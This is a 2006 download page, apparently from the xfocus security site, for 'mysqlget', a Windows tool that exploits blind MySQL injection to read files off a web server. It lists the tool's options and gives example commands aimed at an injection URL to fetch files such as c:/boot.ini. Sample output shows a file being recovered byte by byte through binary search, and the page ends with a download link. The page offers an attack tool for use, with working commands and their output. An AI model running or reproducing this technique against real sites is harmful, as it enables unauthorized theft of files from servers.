xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加工具Xcon English Version

mysqlget.zip


提交时间:2006-07-25 更新时间:2006-07-28
提交用户:cooldiyer
工具分类:扫 描 器
运行平台:Windows
工具大小:16155 Bytes
文件MD5 :d6b5be655349e5c2d55d032b4dcc1a7f
工具来源:cooldiyer

ROOT:XFOCUS没有经过任何测试和检测,使用后果自负

服务器不支持union查询时的下载工具及源代码,以下为程序说明

mysqlget for mysql injection Version 1.0.0
xdiyer at gmail.com http://xdiyer.uni.cc
---------------------------------------------------

Usage: mysqlget <options> <Thread>

Options:
    -t           Target injection URL include %s to replace. #注入点URL,"%s"为代码插入处
    -f           Remote file to load Must be absolute path. #远程文件绝对路径
    -s           Local file to saved. #保存到本地的路径
    -Mr          Match code case response right. #正确时匹配的内容 两种情况先一种
    -Me          Match code case response error. #错误时匹配的内容

Example:
mysqlget -t http://localhost/index.php?id=1%s -f c:/boot.ini -s E:/data.txt -Mr test 8

以下是一个实例,下载D:/data.text (内容为“I am cooldiyer \r\n”)到本地E:/data.txt,用5个线程

C:\>mysqlget -t http://localhost/index.php?id=1%s -f d:/data.txt -s E:/data.txt -Mr test 5
---------------------------------------------------
Target > http://localhost/index.php?id=1%s
FileLD > d:/data.txt
FileSF > E:/data.txt
RiCode > test
ErCode >
Thread > 5
Length > 102400 bytes
ARange > 0 - 255
---------------------------------------------------
[+] Waiting for get file length ...
[+] File length 17 byte(s)
[+] Keep 5 threads get data

[Offset 06/17] : 99     [c]
[Offset 04/17] : 109    [m]
[Offset 01/17] : 73     [I]
[Offset 03/17] : 97     [a]
[Offset 02/17] : 32     [ ]
[Offset 05/17] : 32     [ ]
[Offset 07/17] : 111    [o]
[Offset 08/17] : 111    [o]
[Offset 11/17] : 105    [i]
[Offset 10/17] : 100    [d]
[Offset 09/17] : 108    [l]
[Offset 12/17] : 121    [y]
[Offset 13/17] : 101    [e]
[Offset 14/17] : 114    [r]
[Offset 15/17] : 32     [ ]
]Offset 16/17] : 13     [
[Offset 17/17] : 10     [
]

[+] Threads return using 6s
[+] Save file to E:/data.txt ...
--------------------------------------------------- #以下是文件内容
I am cooldiyer

---------------------------------------------------

经本机测试256Mem+Win2000下载mysqlget.exe (7680bytes) Use 8 Threads 用时 980 秒。

线程是大不能超过5000,文件大小定义最大为102400bytes,Accii码为1-255,包括汉字,程序用VC++编写,类化了二分查找法,本人能力有限,未知Bug望指正,

>> 下载 <<